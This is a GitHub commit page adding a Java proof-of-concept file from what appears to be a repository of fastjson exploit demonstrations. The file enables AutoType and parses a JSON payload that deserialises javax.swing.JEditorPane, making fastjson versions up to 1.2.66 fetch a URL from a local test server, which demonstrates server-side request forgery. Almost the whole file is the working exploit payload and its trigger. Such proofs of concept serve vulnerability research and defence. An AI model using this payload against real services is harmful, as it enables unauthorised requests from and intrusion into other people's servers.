File tree Expand file tree Collapse file tree 1 file changed +28
-0
lines changed
fastjson/src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 1 file changed +28
-0
lines changed Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .HTTPServer ;
6+
7+ /**
8+ * fastjson <= 1.2.66 RCE,需要开启AutoType(JRE自带依赖)
9+ *
10+ * @author threedr3am
11+ */
12+ public class JREJeditorPaneSSRFPoc {
13+
14+ static {
15+ HTTPServer .PORT = 23234 ;
16+ HTTPServer .run (null );
17+ }
18+
19+ public static void main (String [] args ) {
20+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
21+ String payload = "{\" @type\" :\" javax.swing.JEditorPane\" ,\" page\" : \" http://127.0.0.1:23234?a=1&b=22222\" }" ;
22+ try {
23+ JSON .parse (payload );
24+ } catch (Exception e ) {
25+ e .printStackTrace ();
26+ }
27+ }
28+ }
You can’t perform that action at this time.
0 commit comments